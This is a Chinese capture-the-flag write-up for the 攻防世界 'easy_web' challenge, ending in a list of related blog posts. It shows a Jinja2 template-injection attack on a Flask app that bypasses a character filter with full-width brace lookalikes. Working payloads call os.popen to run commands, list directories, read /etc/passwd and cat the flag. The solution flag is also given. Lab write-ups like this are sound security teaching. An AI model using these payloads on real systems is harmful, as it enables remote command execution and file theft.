攻防世界——easy_web

打开网站后发现有一个输入框

随便写点东西进去尝试xss注入

发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描

什么发现也没有

写点东西抓包看看能抓到什么

发现是python的后端

想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入

Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。

当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。

由包中的信息可知,注入点在str

写入{{7*7}}测试一下

发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面。

对被过滤的字符我们可以进行替换绕过

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

用︷ ︸替换{}再测试一遍

输入payload

︷︷7*7︸︸

发现成功注入

jinjia2的SSIT方式

命令执行

{% for c in \[\].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals'__builtins__'.eval("import('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

文件查询

{% for c in \[\].class.base.subclasses() %}{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals'__builtins__'.open('/etc/passwd','r').read() }}

{% endif %}{% endfor %}

构造替换好的payload,查看当前目录下的文件(ls)

python 复制代码
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。

sys.modules是一个全局字典。

popen('ls').read()为执行ls命令

发现没什么值得注意的

查看根目录(ls /)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag文件

在根目录下抓取flag(cat /flag)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

相关推荐
kingx339 分钟前
Bugku 3122 谷歌小恐龙题解:纯离线逆向 Vault 的 AES-GCM 加密资源(附 Python 解密器)
java·逆向·ctf·bugku·aes-gcm
山东科恩光电5 小时前
安全触边在游乐园设施与公共交通车门防夹伤系统中的选型安装及维护要点
安全
QXWZ_IA6 小时前
横跨三网“只进不出”架构如何划分安全边界
安全·架构
国科安芯6 小时前
从遥控到自治:ASP4644S2B支撑星载电源健康管理与容错配电
网络·单片机·嵌入式硬件·安全·dcdc·低轨卫星·商业航天
武天旭7 小时前
AI安全--AI大模型的隐私保护解析
人工智能·深度学习·安全·机器学习
Nerd(BUG版)8 小时前
KMP学习day4--Kotlin空安全与泛型
学习·安全·kotlin
liferecords10 小时前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
kingx312 小时前
Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)
pwn·ctf·glibc·堆溢出·fsop
FungLeo14 小时前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
IT规划师14 小时前
API 安全三支柱:认证、防篡改、防重放的工程实践
安全·api